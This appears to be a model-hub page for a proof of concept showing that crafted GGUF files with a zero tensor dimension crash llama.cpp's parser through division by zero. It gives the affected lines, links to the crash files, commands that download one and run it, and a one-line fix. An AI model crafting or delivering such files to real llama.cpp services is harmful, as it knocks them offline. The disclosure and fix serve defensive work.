You can deploy this model and start earning money today!

neimasilk/
llamacpp-gguf-fpe-poc

Name: llamacpp-gguf-fpe-poc
Availability: InStock

gguf

Views

No views yet

llama.cpp GGUF Parser — Division-by-Zero (SIGFPE) PoC

Vulnerability

A crafted GGUF file with a zero tensor dimension causes SIGFPE (division by zero) in gguf_init_from_file_ptr(), crashing any llama.cpp-based application.

File: ggml/src/gguf.cpp, lines 632-634
Root cause: INT64_MAX / info.t.ne[j] when ne[j] == 0
Impact: Denial of Service (process crash, core dump)
Tested: Latest commit fbd441c (2026-04-01)

PoC Files

File	Size	Trigger
`crash_ne1_zero.gguf`	67 bytes	`ne[1]=0` → FPE at line 632
`crash_ne2_zero.gguf`	75 bytes	`ne[2]=0` → FPE at line 633
`crash_ne3_zero.gguf`	83 bytes	`ne[3]=0` → FPE at line 634

Reproduce

bash

# Build llama.cpp (any version)
git clone https://github.com/ggml-org/llama.cpp && cd llama.cpp
cmake -B build && cmake --build build

# Download PoC and crash
wget https://huggingface.co/neimasilk/llamacpp-gguf-fpe-poc/resolve/main/crash_ne1_zero.gguf
./build/bin/llama-cli -m crash_ne1_zero.gguf
# Result: "Floating point exception (core dumped)"

Suggested Fix

diff

# ggml/src/gguf.cpp, line 623
-                if (info.t.ne[j] < 0) {
+                if (info.t.ne[j] <= 0) {

Generate PoC

python3 create_poc.py